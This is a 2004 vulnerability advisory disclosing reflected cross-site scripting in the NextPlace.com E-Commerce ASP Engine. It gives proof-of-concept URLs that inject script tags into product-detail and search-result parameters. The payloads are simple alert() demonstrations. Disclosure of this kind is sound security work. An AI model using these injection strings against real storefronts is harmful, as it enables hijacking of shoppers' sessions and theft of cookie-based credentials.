nextplace.txt

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Software: NextPlace.com E-Commerce ASP Engine  
Vendor: http://www.nextplace.com/  
Versions: Single version was created  
Bug: Cross Site Scripting  
Risk: Medium ( E-Commerce makes this irregular)  
Exploitation: Remote with browser  
Date: 24 Jan 2004  
Author: Rafel Ivgi, The-Insider  
E-Mail: [email protected]  
Web: http://theinsider.deep-ice.com  
  
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1) Introduction  
2) Bug  
3) The Code  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
===============  
1) Introduction  
===============  
  
NextPlace.com is E-Commerce service provider.  
E-Commerce ASP Engine this cannot have risks such as Cross Site Scripting.  
It is Ridiculous that i discovered this because each one of this site is  
under the  
protection of many security companies and are marked as "safe".  
Any attacker can fake messages, and betray the trust of all the people who  
belive that links involved with this website are safe.  
  
*** The Vulnerabillity described in this advisory effects all NextPlace's  
Clients :http://www.nextplace.com/clients.asp ***  
This means <host> = anyone of NextPlace clients.  
  
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======  
2) Bug  
======  
  
The Vulnerabillity is Cross Site Scripting.  
If an attacker will request the one following urls from the server:  
  
Examples:  
1.  
http://<host>/productdetail.asp?level=aaaaaaaaaaaaaaaa&catid=52&productid=24  
8  
  
2.  
http://<host>/productdetail.asp?level="><script>alert('XSS')</script>&catid=  
52&productid=248  
  
3. http://<host>/ListCategories.asp?level=58&catid=AAAAAAAAAAAAAAAAAA  
  
4.  
http://<host>/searchresults.asp?searchKey="><script>alert('XSS')</script> -  
Go Back To see XSS  
  
5. Goto "http://<host>/searchresults.asp" Search for  
["><script>alert('XSS')</script>] - XSS  
XSS appears and the server allows an attacker to inject & execute scripts.  
  
  
In the words of securityfocus.com :  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
If all of these circumstances are met, an attacker may be able to exploit  
this issue  
via a malicious link containing arbitrary HTML and script code as part of  
the hostname.  
When the malicious link is clicked by an unsuspecting user, the  
attacker-supplied HTML  
and script code will be executed by their web client. This will occur  
because the server  
will echo back the malicious hostname supplied in the client's request,  
without sufficiently  
escaping HTML and script code.  
  
Attacks of this nature may make it possible for attackers to manipulate web  
content or to  
steal cookie-based authentication credentials. It may be possible to take  
arbitrary actions as the victim user.  
  
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===========  
3) The Code  
===========  
  
1.  
http://<host>/productdetail.asp?level=aaaaaaaaaaaaaaaa&catid=52&productid=24  
8  
  
2.  
http://<host>/productdetail.asp?level="><script>alert('XSS')</script>&catid=  
52&productid=248  
  
3. http://<host>/ListCategories.asp?level=58&catid=AAAAAAAAAAAAAAAAAA  
  
4.  
http://<host>/searchresults.asp?searchKey="><script>alert('XSS')</script> -  
Go Back To see XSS  
  
5. Goto "searchresults.asp" Search for ["><script>alert('XSS')</script>] -  
XSS  
XSS appears and the server allows an attacker to inject & execute scripts.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
---  
Rafel Ivgi, The-Insider  
http://theinsider.deep-ice.com  
  
"Things that are unlikeable, are NOT impossible."  
`